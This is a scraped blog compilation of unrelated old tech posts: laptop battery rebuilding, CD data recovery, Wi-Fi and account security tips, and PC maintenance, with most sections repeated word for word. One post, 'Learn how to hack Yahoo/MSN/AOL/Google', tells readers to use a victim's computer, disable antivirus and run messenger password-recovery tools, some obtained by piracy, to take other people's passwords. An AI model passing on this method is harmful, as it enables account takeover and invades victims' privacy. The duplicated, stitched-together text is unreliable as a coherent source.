1. Go ahead and open up your laptop battery, to do this cut around the battery on the seam. After you have cut around the full battery try and pry it open. If you're confident you broke the seal, the two pieces are fused together, rather than overlaped, and to close it you will need to either glue it or tape it shut, if this is the case, keep cutting carefully, makeing sure you do not puncture one of the cells inside, until you get it open
2. Look for any markings on the batteries you see inside, if you get lucky you will see a marking indicating how many volts each cell is. Usually its
3.6 V, also you may see it say something like 1200mAh
What that number means is 1200 milliamps, this number and the number on your replacement cells dont need to match, to put it generally, the larger this number is, the longer the battery will retain a charge
If your cell does not state the voltage, remember that google is your friend go ahead and throw the information that is on the cell into google and you should hopefully find the information that you are looking for.
3 . Finding replacement cells- Well one of the easiest things you can do is go ahead and search google for the type of cells that you have and then find them on a website and buy them (I will tell you that I searched stores like CircuitCity, 2 Radio Shacks, Sears, Staples, and a store called Batteries Plus in several different cities, and no one had the ones I needed, so unless you KNOW a store by you has them dont waste your time with anything but online)
Depending on your laptopbattery you might have anyware from 6 to over 12 cells, just for a comparason I found the cells that my laptop used for $5.00 a pop online (so for mine it would have cost me $30 plus shipping, a hell of a lot cheaper than say a new battery that most likely sells for over $100) Another thing you can do is use an old laptop battery if you KNOW that the battery still holds a charge, take it appart and compare the cells
request here to get more info about batteries by commenting
crackinhack.blogspot.com nor I will be responsible in any way if this article leads you to do something that causes harm in any way, either to a person or property. Thus they nor I will be liable if such an event happens, and by proceeding with the instructions listed in this article you verify that you understand these risks and accept these terms.
Ok so I'm writing another article, because as I have said before, I have no life. So anyway, because I've been procrastinating studying for finals I have been doing a lot more with my computers lately
The last thing I did was to rebuild my laptop battery, and while you might not call it "hacking" I saved myself about $100 on a new laptop battery, and considering we all use computers here, I thought this might be helpfull to a lot of people out there.
What this article will teach you is if your laptop battery is not holding a charge, how to repair it and make it like new again, for either free or a lot cheaper than buying a new one
Note: If you're not experienced with soldering, and electricity you might not want to attempt this because if you do it wrong bad things can happen. I feel that I should list some of the things that can go wrong to try and deter the unexperienced
1. The battery can explode
2. The battery can catch on fire
3. Battery acid can leak on you
4. You can short out your laptop
And thats just to name a few
If you are experienced with things like this (it doesnt even have to be to this level, but I mean expereinced with soldering, and working with batteries and understand a little on how electricity works) as well as you take the proper precautions, this process is very simple. As I am nowhere near an electrical engineer and I was able to do it relativly without a problem. However if you are not experienced, or do not feel confident on this at all I can not stress enough that this project can go bad very quickly and why I felt it necissary to write the above disclamer.
Note: This process involves cutting open your laptop battery, now while some batteries can be re-closed, others can not, and would either have to be glued or taped, so if you dont like this possibility, dont try this
Note2: ok this is the last note in the intro, i have been told that on some newer laptop betteries there are anti-tamper devices, if a battery is disconnected from the unit it will no longer work. This method is still valid in this case, but its much harder, because you must always have all the sets of cells together
************************ *********************What you will need:
1. Old laptop battery you wish to fix
2. Knife/Razor blade
3. Soldering Iron (I prefer a soldering gun)& Solder (if not using an
expensive soldering iron go for low heat solder)
4. New battery cells/another working laptop battery with the same cells that you dont need any more
5. Glue/Tape (I recommend gorilla glue, because it is really strong)
6. Tin strips (or any other metal both conductive and solder can stick to)
7. Multi-Meter (The cells are not always clearly labeled which side is
positive and negative, this will help tell, while there are tricks to do this without a multimeter for the $10 I found it for in the store I thought it well worth it)
************************ *********************Getting Started:
1. Go ahead and open up your laptop battery, to do this cut around the battery on the seam. After you have cut around the full battery try and pry it open. If you're confident you broke the seal, the two pieces are fused together, rather than overlaped, and to close it you will need to either glue it or tape it shut, if this is the case, keep cutting carefully, makeing sure you do not puncture one of the cells inside, until you get it open
2. Look for any markings on the batteries you see inside, if you get lucky you will see a marking indicating how many volts each cell is. Usually its
3.6 V, also you may see it say something like 1200mAh
What that number means is 1200 milliamps, this number and the number on your replacement cells dont need to match, to put it generally, the larger this number is, the longer the battery will retain a charge
If your cell does not state the voltage, remember that google is your friend go ahead and throw the information that is on the cell into google and you should hopefully find the information that you are looking for.
3 . Finding replacement cells- Well one of the easiest things you can do is go ahead and search google for the type of cells that you have and then find them on a website and buy them (I will tell you that I searched stores like CircuitCity, 2 Radio Shacks, Sears, Staples, and a store called Batteries Plus in several different cities, and no one had the ones I needed, so unless you KNOW a store by you has them dont waste your time with anything but online)
Depending on your laptopbattery you might have anyware from 6 to over 12 cells, just for a comparason I found the cells that my laptop used for $5.00 a pop online (so for mine it would have cost me $30 plus shipping, a hell of a lot cheaper than say a new battery that most likely sells for over $100) Another thing you can do is use an old laptop battery if you KNOW that the battery still holds a charge, take it appart and compare the cells
request here to get more info about batteries by commenting
Recover data from a quick- erased CDRW/DVDRW disc
Procedure used to recover data from a quick-erased CD/DVD-RW disc
1. Make a file of exactly the size of the cd/dvdrw disc's capacity.
(this step may not be needed)
2. With Nero I created a new project and added the file to it so that I have the disc filled. I gues you can also fill up the disc with other files.
The reason why I fill the disc is because I want Nero to make a session that uses the entire disc. Like I wrote earlier in this thread I experienced that my CD/DVD-Drive refuses to read off the disc beyond the session's boundaries. When you quick-erase a disc there is no session anymore so the drive will not read at all. Burning a new session will overwrite the data and burning only a small session will NOT make the drive read the other data that is still on the disc.
The reason why I used the one big file is so that I could later on recognize which part of the disc was overwritten by this file because this file contained all zeros (0 x00).
3. I pressed burn and selected disc-at-once. Then while Nero was burning the leadin I pressed cancel. My CD/DVD-Drive finished writing the lead-in and Nero reported an error.
This is what was accomplished however: Now the disc contains a session that says that the used disc size is the complete disc. Nero did not get to writing file because I cancelled it. Good thing because I don't want Nero to write any files because my old data will get overwritten!
I gues it works the same with different writing software. Another method that I used during a test was simply press the reset button of the computer when the burning software was done with writing the lead-in and started with the files.
4. I had to restart the computer after cancelling burning.
With the cdrw disc inserted I saw in "my computer" that windows recognized that the disc was 650MB, clicking on it gave an error. Good so far!
Now with IsoBuster you can extract the sectors from a disc to a file. This is what I did.
I gues that if you have data- recovery software at this point it will be usefull because now (if all went well;)) the CD/DVD-Drive WILL read data from the entire disc. Anyway, I used ISO-Buster because the files that I needed to recover where a bit odd for nowadays (.XM,.S3 M,.MP3):
In IsoBuster I had to do several steps:
Step 1: Find out from and to which sector the drive will read
By choosing "Sector View" you can look at any given sector.
Here I found out what the first and the last sectors where that are readable. (Hint I used the method for the old game: "Gues a number below 100, I'll tell if it is higher or lower than what you gues")
Step 2: Extract the actual sectors
By choosing "Extract From-To" you can extract any given range of sectors to a file. My disc was a data-disc so I choose the first extraction type "User data, 2048 bytes/block...".
In the end I got a.tao file which was about 650MB. I ran several programs on it to look for files inside a file by searching for file-header-paterns:
1 . Multi Ripper 2.80 (for DOS, for the.XM files. It does many other file formats as well (jpg,png, bmp,wav,etc,etc +100 ). Try google with this query: Multi Ripper 2.80. I still had the file from good old days but I saw several good search results)
2 . Winamp for mp3.
Winamp will scan any file when you give it the extension.mp3 and play it as one big song (so I renamed the.tao file to.mp3 ). I used the discwriter to get a.wav and the Adobe Audition to manually cut and save my songs. I looked at the MP3 file format and it is hard to find an mp3 file in a big file because it has no clear header just a bunch of mpeg-frames in most cases for me. A lot of my files had no ID3 v2 or ID3 v1 tags... But after a couple of hours I recovered everything.
Finally a list of used stuff:
Software:
- IsoBuster v1.9 and above
- Nero 6.8 and above
- Multi Ripper 2.80 and above
- WinAmp v5.02 and above
- Windows XP Pro NL (patched up)
Hardware:
- NEC DVDRW ND1300 A 1.06
Disc:
- some old 4 speed CDRW/DVDRW
1. Make a file of exactly the size of the cd/dvdrw disc's capacity.
(this step may not be needed)
2. With Nero I created a new project and added the file to it so that I have the disc filled. I gues you can also fill up the disc with other files.
The reason why I fill the disc is because I want Nero to make a session that uses the entire disc. Like I wrote earlier in this thread I experienced that my CD/DVD-Drive refuses to read off the disc beyond the session's boundaries. When you quick-erase a disc there is no session anymore so the drive will not read at all. Burning a new session will overwrite the data and burning only a small session will NOT make the drive read the other data that is still on the disc.
The reason why I used the one big file is so that I could later on recognize which part of the disc was overwritten by this file because this file contained all zeros (0 x00).
3. I pressed burn and selected disc-at-once. Then while Nero was burning the leadin I pressed cancel. My CD/DVD-Drive finished writing the lead-in and Nero reported an error.
This is what was accomplished however: Now the disc contains a session that says that the used disc size is the complete disc. Nero did not get to writing file because I cancelled it. Good thing because I don't want Nero to write any files because my old data will get overwritten!
I gues it works the same with different writing software. Another method that I used during a test was simply press the reset button of the computer when the burning software was done with writing the lead-in and started with the files.
4. I had to restart the computer after cancelling burning.
With the cdrw disc inserted I saw in "my computer" that windows recognized that the disc was 650MB, clicking on it gave an error. Good so far!
Now with IsoBuster you can extract the sectors from a disc to a file. This is what I did.
I gues that if you have data- recovery software at this point it will be usefull because now (if all went well;)) the CD/DVD-Drive WILL read data from the entire disc. Anyway, I used ISO-Buster because the files that I needed to recover where a bit odd for nowadays (.XM,.S3 M,.MP3):
In IsoBuster I had to do several steps:
Step 1: Find out from and to which sector the drive will read
By choosing "Sector View" you can look at any given sector.
Here I found out what the first and the last sectors where that are readable. (Hint I used the method for the old game: "Gues a number below 100, I'll tell if it is higher or lower than what you gues")
Step 2: Extract the actual sectors
By choosing "Extract From-To" you can extract any given range of sectors to a file. My disc was a data-disc so I choose the first extraction type "User data, 2048 bytes/block...".
In the end I got a.tao file which was about 650MB. I ran several programs on it to look for files inside a file by searching for file-header-paterns:
1 . Multi Ripper 2.80 (for DOS, for the.XM files. It does many other file formats as well (jpg,png, bmp,wav,etc,etc +100 ). Try google with this query: Multi Ripper 2.80. I still had the file from good old days but I saw several good search results)
2 . Winamp for mp3.
Winamp will scan any file when you give it the extension.mp3 and play it as one big song (so I renamed the.tao file to.mp3 ). I used the discwriter to get a.wav and the Adobe Audition to manually cut and save my songs. I looked at the MP3 file format and it is hard to find an mp3 file in a big file because it has no clear header just a bunch of mpeg-frames in most cases for me. A lot of my files had no ID3 v2 or ID3 v1 tags... But after a couple of hours I recovered everything.
Finally a list of used stuff:
Software:
- IsoBuster v1.9 and above
- Nero 6.8 and above
- Multi Ripper 2.80 and above
- WinAmp v5.02 and above
- Windows XP Pro NL (patched up)
Hardware:
- NEC DVDRW ND1300 A 1.06
Disc:
- some old 4 speed CDRW/DVDRW
How to recover MOST of scratched CD/DVD data discs
For dvd do the same thing as that in cd
I learn an old thecnique to how to recover damaged or scratched disks
with some lost of data. In this case i have one borrowed game - MAX PAYNE 2
with a chunck of 4 mb lost with a scratch in CD1 Install. Here we cover some
special thecniques of how to create a full working CD from the scratched one.
First some tools will be needed:
1 . Alcohol 120%
2. UltraISO
3 . Windows XP/2000
3. Small piece of cotton
4. Dry cleaner paper
5. Finally, oil for cooking.
First step - preparing the CD
Get the cotton and drop some water, start cleaning vertically the surface of CD.
Do it 3 times and dry the water with a piece of dry cleaner paper. With a new piece
of cotton, drop some oil for cooking and start to wet the surface like you are
washing the CD with the oil. Dry carefully now. Some particles of oil will stay on the
microsurface of the scrath. It's okay. Seems the oil helps the laser of the CD/DVD driver
to read the surface again. Sure this will work with small unreadable scratchs - some hard
scratchs loose parts of the surface of the CD where we have data and it's lost forever.
But if it is loosed try anyway. Whith this tip 80% of the small scratched CD's coud be
recovered.
Second Step - testing the CD
With Alcohol 120% make an ISO - image making wizard - and lets see if the app can
read the loosed surface. In my case Alcohol 120 % had recovered 60% of the data.
This is not enough. Have tryed other appz, they do not recover all the data. But the
CD/DVD driver laser CAN recover all data in this case. the data is still there, what we do?
third step - making the new CD
With the main copy system of windows explorer you can do it. Just create one folder
with the same name of the CD label for future burn reference, and copy the CD content
to the folder. When the CD copy process find the scratch, in majority of the cases, it's
slow down the reading and will recover ALL loosed data.If not, it just tell you there's
an unreadable sector. In this case your CD is lost. But it's not my case, finally
windows explorer got all the data from the scratch and made a copy in the folder.
with the ultraISO, wrote the original CD label, drop the content of the folder and
save as Iso. You can Test the new CD just mounting the iso in the Alcohol 120%. In my
case i did ISO of the two discs from MAX PAYNE 2 and tested installing from the mounted
ISO. Works like a charm. I got the 4 mb lost again. So, I have burned the CD and now i
have a working copy from the scratched one.
Sounds too bizzarre, but works. Course you can jump the cleaning process and try to copy
the content with Windows explorer. But in my case did not work without oil...
I learn an old thecnique to how to recover damaged or scratched disks
with some lost of data. In this case i have one borrowed game - MAX PAYNE 2
with a chunck of 4 mb lost with a scratch in CD1 Install. Here we cover some
special thecniques of how to create a full working CD from the scratched one.
First some tools will be needed:
1 . Alcohol 120%
2. UltraISO
3 . Windows XP/2000
3. Small piece of cotton
4. Dry cleaner paper
5. Finally, oil for cooking.
First step - preparing the CD
Get the cotton and drop some water, start cleaning vertically the surface of CD.
Do it 3 times and dry the water with a piece of dry cleaner paper. With a new piece
of cotton, drop some oil for cooking and start to wet the surface like you are
washing the CD with the oil. Dry carefully now. Some particles of oil will stay on the
microsurface of the scrath. It's okay. Seems the oil helps the laser of the CD/DVD driver
to read the surface again. Sure this will work with small unreadable scratchs - some hard
scratchs loose parts of the surface of the CD where we have data and it's lost forever.
But if it is loosed try anyway. Whith this tip 80% of the small scratched CD's coud be
recovered.
Second Step - testing the CD
With Alcohol 120% make an ISO - image making wizard - and lets see if the app can
read the loosed surface. In my case Alcohol 120 % had recovered 60% of the data.
This is not enough. Have tryed other appz, they do not recover all the data. But the
CD/DVD driver laser CAN recover all data in this case. the data is still there, what we do?
third step - making the new CD
With the main copy system of windows explorer you can do it. Just create one folder
with the same name of the CD label for future burn reference, and copy the CD content
to the folder. When the CD copy process find the scratch, in majority of the cases, it's
slow down the reading and will recover ALL loosed data.If not, it just tell you there's
an unreadable sector. In this case your CD is lost. But it's not my case, finally
windows explorer got all the data from the scratch and made a copy in the folder.
with the ultraISO, wrote the original CD label, drop the content of the folder and
save as Iso. You can Test the new CD just mounting the iso in the Alcohol 120%. In my
case i did ISO of the two discs from MAX PAYNE 2 and tested installing from the mounted
ISO. Works like a charm. I got the 4 mb lost again. So, I have burned the CD and now i
have a working copy from the scratched one.
Sounds too bizzarre, but works. Course you can jump the cleaning process and try to copy
the content with Windows explorer. But in my case did not work without oil...
How do I secure my wireless network connection with WEP or WPA?
These articles are intended for IT Professionals and administrators with experience servicing computer hardware. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. the authoris not responsible for the use or misuse of this material,including loss of data, damage to hardware, or personal injury.the user is solely responsible
I have just set up a wireless connection at home - whenever I log on it says that the connection is unsecure - how do I secure it? I have a new Toshiba Laptop and a Phillips Router. I saw something about a WEP key....where do I enter this?
You are right to worry about this problem, actually, because any open wireless network is an invitation for neighbors and various unsavory characters to connect to your network as if they were on your local area network. This means that they'd be able to use your network-friendly printer, your networked hard drive backup system, and try to break into your computers too. In addition, they'd be able to use your network connection itself and if they were to download tons of illegal music, for example, the RIAA could get your ISP to shut you down, or if they downloaded porn or terrorism research data, well, the FBI could get involved. Not good!
Fortunately, it's pretty easy to secure a wireless network system: you need to log in to your router / base station (your Phillips unit), which is probably done by simply entering a special IP address in your Web browser (try 192.168.1.1 if the documentation that was included with the router doesn't explain). If that fails, you might need to hook the router directly to the computer via a USB cable, though those are definitely rare systems.
Once you've hooked up, you should find a multi-tab configuration tool that has one tab labeled "Security" or similar. Click on that and you should be able to find "Password" as an option or button. Click on that and it should give the options of WEP or WPA. I recommend that you choose WPA and use a long password - it's far more secure than WEP.
Here's an example from the configuration screen of my Linksys router:
As you can see, it's a bit complicated, but once you enter a password it automatically generates all the scary looking (hexidecimal) security codes: any of those will be what you would enter on your Toshiba laptop -- once -- to be securely connected forever.
I hope that helps you get your hatches battened down!
I have just set up a wireless connection at home - whenever I log on it says that the connection is unsecure - how do I secure it? I have a new Toshiba Laptop and a Phillips Router. I saw something about a WEP key....where do I enter this?
You are right to worry about this problem, actually, because any open wireless network is an invitation for neighbors and various unsavory characters to connect to your network as if they were on your local area network. This means that they'd be able to use your network-friendly printer, your networked hard drive backup system, and try to break into your computers too. In addition, they'd be able to use your network connection itself and if they were to download tons of illegal music, for example, the RIAA could get your ISP to shut you down, or if they downloaded porn or terrorism research data, well, the FBI could get involved. Not good!
Fortunately, it's pretty easy to secure a wireless network system: you need to log in to your router / base station (your Phillips unit), which is probably done by simply entering a special IP address in your Web browser (try 192.168.1.1 if the documentation that was included with the router doesn't explain). If that fails, you might need to hook the router directly to the computer via a USB cable, though those are definitely rare systems.
Once you've hooked up, you should find a multi-tab configuration tool that has one tab labeled "Security" or similar. Click on that and you should be able to find "Password" as an option or button. Click on that and it should give the options of WEP or WPA. I recommend that you choose WPA and use a long password - it's far more secure than WEP.
Here's an example from the configuration screen of my Linksys router:
As you can see, it's a bit complicated, but once you enter a password it automatically generates all the scary looking (hexidecimal) security codes: any of those will be what you would enter on your Toshiba laptop -- once -- to be securely connected forever.
I hope that helps you get your hatches battened down!
Friday, August 21, 2009
Learn how to hack Yahoo/MSN/AOL/Google
This is not actually hacking but recovering passwords.You can recover password oF Yahoo, Msn, Hotmal, Live, Google, Gmail, Aol, Aim, ICQ and a lot more Think a bit if you main motive is to get password anyway.
Now there are a bit of requirements
First you victim must have used a IM(instant messenger) at least once with this id. Say for yahoo he must use yahoo messenger.Online versions dont count.So this means you cannot hack accounts of say facebook or myspace which dont have their IM
Second you must have access to his comp where he has used the IM.
Third he must not have formatted his system recently or he must have used the IM after format.
These requirements are tough, i know.You will hit a jackpot if you are on shared comp as it's not frequently formatted and many use IM.You can even ask him to use the IM on your comp.Once you fullfill these job's almost done.
Now you can use these password recovery software to get hold of your victims password These softwares have high success rate but not 100 %. I am giving all trial download links.If you want the full version visit your fav torrent or rapidshare or megaupload.The will not crack any passwords greater than 4 chars which mean syou cant hack most accounts as they require atleast 6 chars.
You will have to temporarily stop the Antivirus as your antivirus will detect it as spyware. But they are Spyware free !00% safe
MessenPass 1.16
Instant Messengers Password Recovery Master
Advanced Instant Messengers Password Recovery 3.4
Please you them sensibly. Use this only to get lost passwords of your account. If you hack some one's account i wont take responsibility.
Now there are a bit of requirements
First you victim must have used a IM(instant messenger) at least once with this id. Say for yahoo he must use yahoo messenger.Online versions dont count.So this means you cannot hack accounts of say facebook or myspace which dont have their IM
Second you must have access to his comp where he has used the IM.
Third he must not have formatted his system recently or he must have used the IM after format.
These requirements are tough, i know.You will hit a jackpot if you are on shared comp as it's not frequently formatted and many use IM.You can even ask him to use the IM on your comp.Once you fullfill these job's almost done.
Now you can use these password recovery software to get hold of your victims password These softwares have high success rate but not 100 %. I am giving all trial download links.If you want the full version visit your fav torrent or rapidshare or megaupload.The will not crack any passwords greater than 4 chars which mean syou cant hack most accounts as they require atleast 6 chars.
You will have to temporarily stop the Antivirus as your antivirus will detect it as spyware. But they are Spyware free !00% safe
MessenPass 1.16
Instant Messengers Password Recovery Master
Advanced Instant Messengers Password Recovery 3.4
Please you them sensibly. Use this only to get lost passwords of your account. If you hack some one's account i wont take responsibility.
Security Tips and Fraud Prevention
For any User, maintaining the account's security is the top priority. To augment the security measures that the Online Service Provide on your behalf, there are steps that you can take to help protect your account from fraud and scams. Note: Here we will be using the URL www.WebsiteName.com for explaining you. This can be the Domain name of the Online Service you are Using. But for Explanation Purpose we will be using WebsiteName as the Name of the Website and www.WebsiteName.com as the URL. Website Security
Use SSL Connection: To safely and securely access your account, open a new web browser (e.g., Internet Explorer or Netscape) and type the URL in the following way:
https:// www.WebsiteName.com/.
As you can see I have written https:// instead of http:// which you use normally. This can be used in those website which provide SSL Authentication. Not all Websites provide SSL( Secure Sockets Layer) but most of the Online Services like GMail, Yahoo, MSN, Orkut, Facebook, eBay etc provide SSL.
Password Safety
Never share your password: Any Website representative will never ask you for your password. If you believe someone has learned your password, please change it immediately.
Create a secure password: Choose a password that uses a combination of letters, numbers, and symbols. For example, $coo!place2 l!ve or 2 Barry5 Bonds#1. Avoid choosing obvious words or dates such as a nickname or your birth date.
Keep your password unique: Don't use the same password for all the online services such as AOL, eBay, MSN, or Yahoo. Using the same password for multiple websites increases the likelihood that someone could learn your password and gain access to your account.
Email Security
Look for a Greeting: Any Website will never send an email with the greeting "Dear WebsiteName User" or "Dear WebsiteName Member." Real WebsiteName emails will address you by your first and last name or the business name associated with your WebsiteName account. If you believe you have received a fraudulent email, Send a copy of the spoofed e-mail you received to your ISP's abuse desk. The e- mail address for this is usually abuse@yourisp.com or postmaster@yourisp.com but if you are not sure, visit your ISP's Web site and search for the information - it will be there.
Don't share personal information via email: Any Website will never ask you to enter your password or financial information in an email or send such information in an email. You should only share information about your account once you have logged in to your Account.
Don't download attachments: Any Website will never send you an attachment or Software update to install on your computer.
Use SSL Connection: To safely and securely access your account, open a new web browser (e.g., Internet Explorer or Netscape) and type the URL in the following way:
https:// www.WebsiteName.com/.
As you can see I have written https:// instead of http:// which you use normally. This can be used in those website which provide SSL Authentication. Not all Websites provide SSL( Secure Sockets Layer) but most of the Online Services like GMail, Yahoo, MSN, Orkut, Facebook, eBay etc provide SSL.
Password Safety
Never share your password: Any Website representative will never ask you for your password. If you believe someone has learned your password, please change it immediately.
Create a secure password: Choose a password that uses a combination of letters, numbers, and symbols. For example, $coo!place2 l!ve or 2 Barry5 Bonds#1. Avoid choosing obvious words or dates such as a nickname or your birth date.
Keep your password unique: Don't use the same password for all the online services such as AOL, eBay, MSN, or Yahoo. Using the same password for multiple websites increases the likelihood that someone could learn your password and gain access to your account.
Email Security
Look for a Greeting: Any Website will never send an email with the greeting "Dear WebsiteName User" or "Dear WebsiteName Member." Real WebsiteName emails will address you by your first and last name or the business name associated with your WebsiteName account. If you believe you have received a fraudulent email, Send a copy of the spoofed e-mail you received to your ISP's abuse desk. The e- mail address for this is usually abuse@yourisp.com or postmaster@yourisp.com but if you are not sure, visit your ISP's Web site and search for the information - it will be there.
Don't share personal information via email: Any Website will never ask you to enter your password or financial information in an email or send such information in an email. You should only share information about your account once you have logged in to your Account.
Don't download attachments: Any Website will never send you an attachment or Software update to install on your computer.
Pc Maintainance Guide part 2
Look for Trouble
Give your PC a periodic checkup with a good hardware diagnostic utility. Two excellent choices are Sandra Standard from SiSoftware and #1 - TuffTest-Lite from #1 -PC Diagnostics. Download the free version of Sandra (the full version of the application costs $35 ) or to download #1 - TuffTest-Lite (the fully functional version is $10).
Sandra Standard:
CODE
http://www.pcworld.com/down loads/file_description/0 ,fid,4005 ,tk,ur,00.asp
#1-TuffTest-Lite:
CODE
http://www.pcworld.com/down loads/file_description/0 ,fid,7725 ,tk,ur,00.asp
Adding and removing system components leaves orphaned entries in the Windows Registry. This can increase the time your PC takes to boot and can slow system performance. Many shareware utilities are designed to clean the Registry.
Windows stores files on a hard drive in rows of contiguous segments, but over time the disk fills and segments become scattered, so they take longer to access. To keep your drive shipshape, run Windows' Disk Defragmenter utility. Click Start, Programs (All Programs in XP), Accessories, System Tools, Disk Defragmenter. If your drive is heavily fragmented, you could boost performance. Defragging may take hours, however. Disable your screen saver and other automatic programs beforehand to keep the defrag from restarting every few minutes.
Disk Defragmenter won't defragment the file on your hard drive that holds overflow data from system memory (also known as the swap file). Since the swap file is frequently accessed, defragmenting it can give your PC more pep. You can defragment your swap file by using a utility such as the SpeedDisk program included with Norton SystemWorks 2004, but there's a way to reset it in Windows.
In Windows XP, right-click My Computer and choose Properties. Click Advanced, and then choose the Settings button under Performance. Click Advanced again and the Change button under Virtual Memory. Select another drive or partition, set your swap file size, and click OK.
If you have only one partition and no way to create a second one, and you have at least 256MB of RAM, disable the swap file rather than moving it: Select "No paging file" in the Virtual Memory settings. If you have trouble booting, start Windows in Safe Mode and re- enable this option.
Hard-Drive Checkup
Windows XP offers a rudimentary evaluation of your hard disk's health with its error-checking utility: Right-click the drive's icon in Windows Explorer and select Properties, Tools, Check Now. (Windows can fix errors and recover bad sectors automatically if you wish.) If the check discovers a few file errors, don't worry, but if it comes up with hundreds of errors, the drive could be in trouble.
To conduct a more thorough examination, download Panterasoft's free HDD Health utility, which monitors hard- drive performance and warns of impending disaster:
CODE
http://www.pcworld.com/down loads/file_description/0 ,fid, 22945 ,tk,ur,00.asp
The program works only with drives that support S.M.A.R.T technology, but nearly all drives released since 2000 are S.M.A.R.T.-compliant.
Many hardware and software designers humbly assume you want their program running on your PC all the time, so they tell Windows to load the application at startup (hence, the ever-growing string of icons in your system tray). These programs eat up system resources and make hardware conflicts and compatibility problems more likely. To prevent them from launching, just click Start, Run, type "msconfig" and press Enter. The programs listed under the Startup tab are set to start along with Windows. Uncheck the box at the left of each undesirable program to prevent it from starting automatically.
Four Tips for Longer PC Life
1. Keep your PC in a smoke-free environment. Tobacco smoke can damage delicate contacts and circuits.
2. Leave your PC running. Powering up from a cold state is one of the most stressful things you can do to your system's components. If you don't want to leave your PC running all the time, use Windows' Power Management settings to put your machine into hibernation rather than completely shutting down. In Windows XP, right-click the desktop and select Properties. Click the Screen Saver tab and select the Power button. Choose the Hibernate tab to ensure that hibernation is enabled, and then select a time beneath "System hibernates" under the Power Schemes tab. (Note that this option is not available on all PCs.) Computers running older versions of Windows may or may not provide similar power- management features. Look under the Power Management icon (Power Options in Windows 2000) in Control Panel to evaluate your machine's capabilities.
3. Don't leave your monitor running. The best way to extend your display's life is to shut it off when it's not in use.
4. Avoid jostling the PC. Whenever you move your system, even if it's just across the desktop, make sure the machine is shut down and unplugged.
uhh....It is long but usefull
Give your PC a periodic checkup with a good hardware diagnostic utility. Two excellent choices are Sandra Standard from SiSoftware and #1 - TuffTest-Lite from #1 -PC Diagnostics. Download the free version of Sandra (the full version of the application costs $35 ) or to download #1 - TuffTest-Lite (the fully functional version is $10).
Sandra Standard:
CODE
http://www.pcworld.com/down loads/file_description/0 ,fid,4005 ,tk,ur,00.asp
#1-TuffTest-Lite:
CODE
http://www.pcworld.com/down loads/file_description/0 ,fid,7725 ,tk,ur,00.asp
Adding and removing system components leaves orphaned entries in the Windows Registry. This can increase the time your PC takes to boot and can slow system performance. Many shareware utilities are designed to clean the Registry.
Windows stores files on a hard drive in rows of contiguous segments, but over time the disk fills and segments become scattered, so they take longer to access. To keep your drive shipshape, run Windows' Disk Defragmenter utility. Click Start, Programs (All Programs in XP), Accessories, System Tools, Disk Defragmenter. If your drive is heavily fragmented, you could boost performance. Defragging may take hours, however. Disable your screen saver and other automatic programs beforehand to keep the defrag from restarting every few minutes.
Disk Defragmenter won't defragment the file on your hard drive that holds overflow data from system memory (also known as the swap file). Since the swap file is frequently accessed, defragmenting it can give your PC more pep. You can defragment your swap file by using a utility such as the SpeedDisk program included with Norton SystemWorks 2004, but there's a way to reset it in Windows.
In Windows XP, right-click My Computer and choose Properties. Click Advanced, and then choose the Settings button under Performance. Click Advanced again and the Change button under Virtual Memory. Select another drive or partition, set your swap file size, and click OK.
If you have only one partition and no way to create a second one, and you have at least 256MB of RAM, disable the swap file rather than moving it: Select "No paging file" in the Virtual Memory settings. If you have trouble booting, start Windows in Safe Mode and re- enable this option.
Hard-Drive Checkup
Windows XP offers a rudimentary evaluation of your hard disk's health with its error-checking utility: Right-click the drive's icon in Windows Explorer and select Properties, Tools, Check Now. (Windows can fix errors and recover bad sectors automatically if you wish.) If the check discovers a few file errors, don't worry, but if it comes up with hundreds of errors, the drive could be in trouble.
To conduct a more thorough examination, download Panterasoft's free HDD Health utility, which monitors hard- drive performance and warns of impending disaster:
CODE
http://www.pcworld.com/down loads/file_description/0 ,fid, 22945 ,tk,ur,00.asp
The program works only with drives that support S.M.A.R.T technology, but nearly all drives released since 2000 are S.M.A.R.T.-compliant.
Many hardware and software designers humbly assume you want their program running on your PC all the time, so they tell Windows to load the application at startup (hence, the ever-growing string of icons in your system tray). These programs eat up system resources and make hardware conflicts and compatibility problems more likely. To prevent them from launching, just click Start, Run, type "msconfig" and press Enter. The programs listed under the Startup tab are set to start along with Windows. Uncheck the box at the left of each undesirable program to prevent it from starting automatically.
Four Tips for Longer PC Life
1. Keep your PC in a smoke-free environment. Tobacco smoke can damage delicate contacts and circuits.
2. Leave your PC running. Powering up from a cold state is one of the most stressful things you can do to your system's components. If you don't want to leave your PC running all the time, use Windows' Power Management settings to put your machine into hibernation rather than completely shutting down. In Windows XP, right-click the desktop and select Properties. Click the Screen Saver tab and select the Power button. Choose the Hibernate tab to ensure that hibernation is enabled, and then select a time beneath "System hibernates" under the Power Schemes tab. (Note that this option is not available on all PCs.) Computers running older versions of Windows may or may not provide similar power- management features. Look under the Power Management icon (Power Options in Windows 2000) in Control Panel to evaluate your machine's capabilities.
3. Don't leave your monitor running. The best way to extend your display's life is to shut it off when it's not in use.
4. Avoid jostling the PC. Whenever you move your system, even if it's just across the desktop, make sure the machine is shut down and unplugged.
uhh....It is long but usefull
PC Maintenance Guide part 1
"Take good care of your PC, and it will take good care of you."
It's a nice sentiment, but reality is more like "Take good care of your PC, and it won't crash, lose your data, and cost you your job--probably." Follow these steps to stop PC problems before they stop you.
Your PC's two mortal enemies are heat and moisture. Excess heat accelerates the deterioration of the delicate circuits in your system. The most common causes of overheating are dust and dirt: Clogged vents and CPU cooling fans can keep heat-dissipating air from moving through the case, and even a thin coating of dust or dirt can raise the temperature of your machine's components.
Any grime, but especially the residue of cigarette smoke, can corrode exposed metal contacts. That's why it pays to keep your system clean, inside and out.
If your PC resides in a relatively clean, climate-controlled environment, an annual cleaning should be sufficient. But in most real-world locations, such as dusty offices or shop floors, your system may need a cleaning every few months.
All you need are lint-free wipes, a can of compressed air, a few drops of a mild cleaning solution such as Formula 409 or Simple Green in a bowl of water, and an antistatic wrist strap to protect your system when you clean inside the case.
Think Outside the Box
Before you get started cleaning, check around your PC for anything nearby that could raise its temperature (such as a heating duct or sunshine coming through a window). Also clear away anything that might fall on it or make it dirty, such as a bookcase or houseplants.
Always turn off and unplug the system before you clean any of its components. Never apply any liquid directly to a component. Spray or pour the liquid on a lint-free cloth, and wipe the PC with the cloth.
Clean the case: Wipe the case and clear its ventilation ports of any obstructions. Compressed air is great for this, but don't blow dust into the PC or its optical and floppy drives. Keep all cables firmly attached to their connectors on the case.
